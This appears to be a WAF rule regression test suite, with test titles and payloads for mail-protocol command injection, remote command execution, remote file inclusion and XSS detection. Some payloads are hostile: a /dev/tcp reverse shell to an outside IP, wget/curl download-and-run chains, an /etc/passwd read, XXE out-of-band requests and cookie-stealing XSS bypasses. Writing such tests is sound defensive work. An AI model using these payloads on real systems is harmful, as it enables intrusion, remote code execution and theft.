SMTP MAIL FROM Command injection positive test


SMTP MAIL FROM Command Injection true negative test


SMTP EHLO Command injection positive test


SMTP Command EHLO Injection negative test using ehlo typo in text


SMTP RCPT TO Command injection positive test


SMTP RCPT TO Command Injection true negative test


SMTP VRFY TO Command injection positive test


SMTP Command Injection Full SMTP dialog negative test


Make sure that log contains matched payload.
Without the `capture` action, the log data would include the last
value of `TX.0`. While writing this test, the previous value of `TX.0`
was always `user-agent` (set by rule 920451).
Note that the previous value of `TX.0` depends on the payload of this test.


IMAP APPEND Command injection positive test


IMAP APPEND Command Injection negative test


IMAP AUTHENTICATE Command injection positive test


IMAP AUTHENTICATE Command Injection negative test


IMAP STATUS Command injection positive test


IMAP STATUS Command Injection negative test


IMAP UID Command injection positive test


IMAP UID Command Injection negative test


POP3 RETR/DELE Command injection positive test


POP3 RETR Command Injection negative test


POP3 DELE Command Injection negative test


POP3 LIST Command injection positive test


POP3 LIST Command Injection negative test


POP3 TOP Command injection positive test


POP3 TOP Command Injection true negative test


POP3 AUTH Command injection positive test


POP3 AUTH Command Injection negative test


POP3 APOP Command injection positive test


POP3 APOP Command Injection negative test


Negative test on German numbering - Schauen Sie sich diese Zahl an: 1'000'000


Positive test - BB BBBZARPI - d=/dev&&(sh)0>$d/tcp/51.15.142.164/777


code=;c89 -wrapper sh,-c,curl\ google.com .


9323HNQU - should not be detected at PL 2


System Command Injection (932236) from old modsec regressions


arg value of ";ifconfig Something „The Title”. After space or new line more characters" is blocked


arg value of "Something „The Title”. After ;ifconfig something" is blocked


Positive test - RCE passed in one of the args


RCE from test 932236.yaml combined with html entities in the middle


RCE from test 932236.yaml combined with html entities at the beginning


RCE from test 932236.yaml combined with html entities at the end


RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities


RCE ;top with html entities two digit decimal of 59 (;)


Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the end


Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the beginning


Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the end


Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the beginning


Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the beginning


Remote Command Injection test for BB finding 935E1D91


Remote Command Injection test for BB finding 935E1D91 - time evasion attempt


Block execution of env command with arguments


Block execution of perf command with arguments


Block evasion using here string with space


Block evasion using here string with single quotes


Block evasion using here string with double quotes


Block evasion using here string with command substitution


sentence=Cut orange quarters into crosswise slices about 1/8-inch thick.

Known false positive with `Cut` at start of string (expected failure)


sentence=Wall Street\\xe2\\x80\\x99s benchmark stock index struck an all-time high on Tuesday.

Known false positive with `Wall` at start of string


sentence=Mount Airy basketball coach Bryan Hayes lectures his team during a third-quarter timeout.

Known false positive with `Mount` at start of string (expected failure)


sentence=As you near your last year of trick or treating, though, sometimes jokes aren't enough.

Fixed false positive with `As` at start of string


sentence=At any moment we can make a decision to change.

Fixed false positive with `At` at start of string


code=ansible-galaxy collection install community.general

Block installing collections from ansible galaxy


Block ad-hoc ansible commands using ansible-console


Block dumping ansible inventory file and variables


Block ansible pull from remote repository


Block decryption of secrets with chef-vault


Block execution chef recipie book against a specific node


False positive with common argument value/name `id`.


false positive with Nextcloud Mail widget.
Should not match `mail`.


False positive with WordPress ordering posts by date.
Should not match `date`.
Make sure there is no trailing whitespace at the end, only date with no arguments is excluded


Don't match very long permutations of commands when using ~


code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1


system('echo cd /tmp;wget http://turbatu.altervista.org/apache_32.png -O p2.txt;curl -O http://turbatu.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://turbatu.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf

System Command Injection (932239) from old modsec regressions


http://ricky.ilmerlodellarocca.com/upload.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg; appa.jpg;perl appa.jpg;rm -rf appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;mv ca.php ca.php;chmod 755 ca.php


Something true positive „The Title”. After space or new line more characters

True Positive Fix Test 1 ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-10, ISO-8859-14, ISO-8859-15 are affected because the chars are encoded as decimal html %26%238222%3B and %26%238221%3B entities


system('echo cd /tmp;wget http://turbatu.altervista.org/apache_32.png -O p2.txt;curl -O http://turbatu.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://turbatu.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf


http://ricky.ilmerlodellarocca.com/upload.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg; appa.jpg;perl appa.jpg;rm -rf appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;mv ca.php ca.php;chmod 755 ca.php


Something true positive „The Title”. After space or new line more characters


Snap URL Preview Service; bot; snapchat; https://developers.snap.com/robots


ansible-galaxy collection install community.general


Mozilla/5.0 (Linux; Android 14; PGT-N19 Build/HONORPGT-N49; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.180 Mobile Safari/537.36

False positive test with legitimate browser containing ; PGT


False positive with token in referrer.
Should not match `df`.


Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_1 rv:5.0; ps-AF) AppleWebKit/534.28.2 (KHTML, like Gecko) Version/4.0 Safari/534.28.2

False positive with Pashto Afghanistan User-Agent
Should not match `ps` in `ps-af`.


dd if=/etc/passwd of=/tmp/evil.sh bs=1 skip=22 count=9


dd if=/etc/passwd of=/tmp/evil.sh bs=1 skip=22 count=9


Remote Command Execution bypass with time


Remote Command Execution bypass with time negative test


Remote Command Injection test for BB finding 935E1D91 - time evasion attempt


9323HNQU - should not be detected at PL 2


ansible-galaxy collection install community.general

Block installing collections from ansible galaxy


Mozilla/5.0 (Linux; Android 14; PGT-N19 Build/HONORPGT-N49; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.180 Mobile Safari/537.36

False positive with Android user-agent.
Should not match `pg`.


Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_1 rv:5.0; ps-AF) AppleWebKit/534.28.2 (KHTML, like Gecko) Version/4.0 Safari/534.28.2


Block evasion using here string with space


Block evasion using here string with single quotes


Block evasion using here string with double quotes


Block evasion using here string with command substitution


Match wild card evasion in 'cat+/et*/*wd'


Match wild card evasion in 'cat+/ET*/*WD'


Handle single quote evasion mixed with wild card evasion


Handle backslash evasion mixed with wild card evasion


SMTP DATA Command injection positive test


SMTP DATA Command Injection true negative test


SMTP QUIT Command injection positive test


SMTP Command QUIT Injection negative test


SMTP HELP Command injection positive test


SMTP HELP Command Injection true negative test


IMAP CREATE/DELETE/EXAMINE/SELECT/SUBSCRIBE/UNSUBSCRIBE Command injection positive test


IMAP CREATE/DELETE/EXAMINE/SELECT/SUBSCRIBE/UNSUBSCRIBE Command Injection true negative test


IMAP COPY Command Injection positive test


IMAP COPY Command Injection negative test


IMAP LIST Command Injection positive test


IMAP LIST Command Injection negative test


IMAP STORE Command Injection positive test


IMAP STORE Command Injection negative test


IMAP SEARCH Command Injection positive test


IMAP SEARCH with CHARSET Command Injection positive test


IMAP SEARCH using TEXT Command Injection positive test


IMAP SEARCH using CHARSET and range Command Injection positive test


IMAP SEARCH Command Injection negative test


POP3 QUIT/STAT/NOOP/RSET/CAPA Command injection positive test


POP3 QUIT Command Injection negative test


POP3 CAPA Command Injection negative test 2


POP3 STAT Command Injection negative test


POP3 NOOP Command injection negative test


POP3 RSET Command Injection negative test


Unix shell history invocation: absolute position


Unix shell history invocation: last command


Remote File Inclusion Attack (931100) from old modsec regressions


Remote File Inclusion Attack (931100) - POST XML


Remote File Inclusion Attack (931100) - This form should not exist per RFC 2732 but may occur due to non-standard implementation.


Remote File Inclusion Attack (931110) from old modsec regressions


Positive test: Remote File Inclusion Attack (931130) - Detect url:file://


Remote File Inclusion Attack (931130) - Detect gopher://


Remote File Inclusion Attack (931130) - Ldap Protocol


Remote File Inclusion Attack (931130) with Java backend


Remote File Inclusion Attack (931130) with local_file url scheme


Remote File Inclusion Attack (931130) with Java backend and trailing /


Remote File Inclusion Attack (931130) with Java backend using file:/


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Test as described in http://www.client9.com/article/five-interesting-injection-attacks/


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS testing of libinjection in User-Agent


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Status Page Test - simplified XSS testing of libinjection in ARGS


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS in payload with individual code points urlencoded


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=555-555-0199@example.com'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % lbsod SYSTEM "http://im8vx9fw5e2ibzctphxn9vauwl2m0joncfz5nu.example'||'foo.bar/">%lbsod;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=abcd'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % cgger SYSTEM "http://ved8pm79xruv3c46hup01827oyuzxtlx9qwjk8.example'||'foo.bar/">%cgger;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=/active/LFI/LFI-Detection-Evaluation-POST-200Valid/content.ini'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % grorj SYSTEM "http://yikbtpbc1uyy7f89lxt35b6as1yw1qpudm0co1.example'||'foo.bar/">%grorj;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=/content.ini'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % dwusu SYSTEM "http://ehzrs5as0axe6v7pkdsj4r5qrhxcp6da12osch.example'||'foo.bar/">%dwusu;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=file:/boot.ini'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % cwtpc SYSTEM "http://gvft67ouecbgkxlryf6litjs5jbd5htlhd43ss.example'||'foo.bar/">%cwtpc;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=Matched Data: <!ENTITY % awfke SYSTEM found within ARGS_NAMES:1'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awfke SYSTEM "http://gj3tu7cu2czg8x9rmful6t7stjzcp4d812osch.example'||'foo.bar/">%awfke;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % anwyn SYSTEM "http://y98bkp2csupyyfz9cxk3wbxaj1pzuzi26vtohd.example'||'foo.bar/">%anwyn;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=2010-01-01'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % fhklu SYSTEM "http://fzisa6stibffowpq2eakmsnr9ifhii6mueh45t.example'||'foo.bar/">%fhklu;

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS test with encoded newline for 941130


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


var=There's a pattern in the dark background. Here's a video: <a href=\x22https://www.youtube.com/watch?v=

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

False positive for `pattern` with `=` following at an arbitrary position later


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls removeWhitespace

XSS vectors making use of javascript uri and tags, e.g., <p style="background:url(javascript:alert(1))">, in ARGS


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls removeWhitespace

XSS vectors making use of javascript uri and tags, e.g., <p style="background:url(javascript:alert(1))">, in ARGS_NAMES


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls removeWhitespace

Status Page Test -  x=x:url(javascript as GET variable


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

just another XSS teststring: 'formaction=


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

just another XSS teststring: '<f o r m' in ARG NAME


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

just another XSS teststring: '<f o r m' in ARG VALUE


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Detect XSS injection of 'dialog' tag ('<d i a l o g')


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Test with long event name to trigger 941160: onwebkitplaybacktargetavailabilitychanged


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS test based on portswigger XSS cheatsheet


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Test first backslash match (javascript:(?:[\s\S]+[=\x5c\(\[\.<]) with: javascript: \\\\t (extra backslashes to work around rule transformations)


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Test second backslash match (javascript:(?:...|\x5c[ux]\d)) with: javascript:\\\\u0020 (extra backslashes to work around rule transformations)


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Status Page Test -  data: , <x> as GET variable


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Node-validator deny list keywords, ARGS_NAMES


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Negative test for Node-validator deny list keyword -->, present in stricter sibling 941181, ARGS


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS with embedded shell execution attempt (batch script)


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Node-validator deny list keywords, ARGS, issue #2512


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding <!-- <![cdata[

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Obsfucated javascript tag in GET data, ARGS


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Obfuscated javascript tag in ARGS_NAMES, with tab


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

New line in javascript prefix, with &#10.


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Carriage return in javascript prefix, with &#13.


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode lowercase removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode lowercase removeNulls

Status Page Test - IE XSS Filter <importimplementation= intentionally without space


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


payload=<meta http-equiv="refresh" content="0; http://evil?</a>

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


payload=<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-</a>

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


payload=<link href="xss.js" rel=stylesheet type="text/javascript"></a>

none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none lowercase urlDecodeUni htmlEntityDecode jsDecode


none lowercase urlDecodeUni htmlEntityDecode jsDecode


none lowercase urlDecodeUni htmlEntityDecode jsDecode


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Real world false positive for old rule with Russian utf-8 characters


var=de_matten & sitzbez\xc3\x83\xc2\xbcge > fu\xc3\x83\xc2\x9fmatten_mt

none lowercase urlDecodeUni htmlEntityDecode jsDecode

Real world false positive for old rule with German utf-8 characters


none lowercase urlDecodeUni htmlEntityDecode jsDecode


none lowercase urlDecodeUni htmlEntityDecode jsDecode


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Negative for missing end tag, opening tag


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Negative for missing end tag, closing tag


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Negative using real world Russian example in utf-8


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Negative using real world Russian example in utf-8, variant


none lowercase urlDecodeUni htmlEntityDecode jsDecode

Status Page Test - US-ASCII Malformed Encoding XSS Filter Attack


none urlDecodeUni htmlEntityDecode jsDecode


JSFuck / Hieroglyphy payload obfuscation attack


Bypass using comment in syntax and multiple whitespaces


Bypass using JavaScript global variables


Bypass using JavaScript global variables and comments in syntax


Bypass using JavaScript global variables and string concatenation


Bypass using JavaScript global variables and jQuery globalEval


Bypass using JavaScript global variables and hex escape sequence


Bypass trying to access document.cookie using alternative syntax like (document)['cookie']


Bypass trying to access document.cookie using alternative syntax and comments like (document/*foo*/)['cookie']


JavaScript method: arg=x";setTimeout(name, 1)//


fp=If you’re looking for a personal recommendation, if you’re willing to import (and perhaps wait around, as they often sell out line has been consistently excellent so far.

Known False positive:
Matching `import (` in `if you’re willing to import (and perhaps wait around`


code=import { sayHi, sayBye } from "./greeting.js";

True Positive:
Detect import method with curly brackets


Status Page Test - JavaScript minimal test with Reflect.sort.call``


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS Filter - Category 2: Event Handler Vector


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

XSS Filter - Category 2: Event Handler Vector - now a positive test after updating lenght to 50


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Test longer event name onwebkitplaybacktargetavailabilitychanged


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls

Negative test: word longer than 50 chars - onthisisaverylongwordthathasmorethanfiftycharacters (51 chars)


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode lowercase removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode lowercase removeNulls


none utf8toUnicode urlDecodeUni htmlEntityDecode jsDecode cssDecode lowercase removeNulls

Node-validator deny list keywords, ARGS_NAMES


XSS test based on portswigger XSS cheatsheet


AngularJS client side template injection detection